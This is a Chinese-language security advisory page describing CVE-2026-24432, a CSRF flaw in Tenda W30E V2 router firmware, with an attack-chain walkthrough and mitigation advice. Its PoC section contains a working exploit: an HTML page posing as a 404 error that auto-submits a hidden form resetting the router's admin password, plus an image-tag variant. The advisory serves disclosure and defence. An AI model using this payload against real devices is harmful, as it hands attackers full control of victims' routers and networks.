IPBUF安全漏洞报告
English
CVE-2026-24432 CVSS 4.3 中危

CVE-2026-24432: Tenda W30E V2 路由器CSRF漏洞可修改管理员密码

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-24432
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Shenzhen Tenda W30E V2

相关标签

CSRF跨站请求伪造TendaW30E V2路由器固件漏洞身份认证绕过CVE-2026-24432IoT安全Web安全

漏洞概述

CVE-2026-24432是发生在Tenda W30E V2路由器固件中的一个跨站请求伪造(CSRF)漏洞。该漏洞存在于V16.01.0.19(5037)及之前版本中,由于管理端点缺少CSRF令牌验证机制,攻击者可以构造恶意HTML页面或链接,诱使已登录的管理员用户访问。当管理员浏览器发起请求时,浏览器会自动携带有效的会话Cookie,导致攻击者能够以管理员身份执行任意管理操作,包括修改管理员密码、变更网络配置、执行系统命令等。此漏洞无需攻击者具备任何预先身份验证,但需要诱导用户点击恶意链接或访问恶意网页。一旦管理员密码被修改,攻击者即可获得设备的完全控制权,可能导致网络被入侵、敏感信息泄露或设备被用于进一步攻击。

技术细节

Tenda W30E V2路由器的Web管理界面在处理敏感操作(如密码修改、配置变更)时,未实现CSRF token验证机制。攻击者可以利用以下方式利用此漏洞:1) 构造包含表单提交的HTML页面,表单action指向路由器管理端点;2) 表单中包含修改管理员密码所需的参数,如newPassword、confirmPassword等;3) 当已登录的管理员访问该恶意页面时,浏览器自动发送带有有效session的POST请求;4) 路由器服务器端仅验证session有效性,未验证请求来源的合法性,导致攻击成功。典型攻击场景中,攻击者将恶意页面托管在外部服务器,通过钓鱼邮件或社交工程诱导管理员点击。攻击者还可以结合XSS漏洞扩大攻击面,或通过DNS劫持使管理流量指向恶意站点。固件中缺少对Referer和Origin头的验证,也没有使用SameSite Cookie属性,进一步降低了攻击难度。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意服务器,托管包含CSRF payload的HTML页面
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或恶意链接诱导已登录的管理员访问恶意页面
STEP 3
步骤3
管理员浏览器加载恶意页面,JavaScript自动提交包含密码修改参数的表单
STEP 4
步骤4
浏览器携带有效的session Cookie向路由器管理接口发送POST请求
STEP 5
步骤5
路由器后端仅验证session有效性,未检查CSRF token或请求来源,接受了恶意请求
STEP 6
步骤6
管理员密码被修改为攻击者预设的密码,攻击者获得设备完全控制权
STEP 7
步骤7
攻击者登录管理后台,窃取网络配置、部署后门或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for Tenda W30E V2 - Change Admin Password --> <!DOCTYPE html> <html> <head> <title>404 Not Found</title> </head> <body> <h1>Page Not Found</h1> <p>If you are not redirected in 3 seconds, <a href="http://192.168.0.1">click here</a>.</p> <form name="csrf" action="http://192.168.0.1/cgi-bin/cstecgi.cgi" method="POST" id="exploit"> <input type="hidden" name="topicurl" value="/admin/set_account"> <input type="hidden" name="username" value="admin"> <input type="hidden" name="password" value="Attacker123!@#"> <input type="hidden" name="passwordMask" value="Attacker123!@#"> </form> <script> // Auto-submit form when page loads document.getElementById('exploit').submit(); </script> </body> </html> <!-- Alternative PoC using img tag for GET-based attacks --> <!-- <img src="http://192.168.0.1/cgi-bin/cstecgi.cgi?topicurl=/admin/set_account&username=admin&password=AttackerPwd" style="display:none"> -->

影响范围

Tenda W30E V2 V16.01.0.19(5037) 及之前所有版本

防御指南

临时缓解措施
在厂商发布固件更新前,可采取以下临时措施:1) 避免使用Web管理界面进行日常操作;2) 使用浏览器隐私模式访问管理界面;3) 定期检查管理员账户和配置变更日志;4) 限制管理界面的访问来源IP,仅允许内网访问;5) 使用强密码策略并定期更换密码;6) 启用浏览器的CSRF保护插件;7) 对管理员进行安全意识培训,警惕未知链接和网页;8) 考虑使用物理访问控制替代远程Web管理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表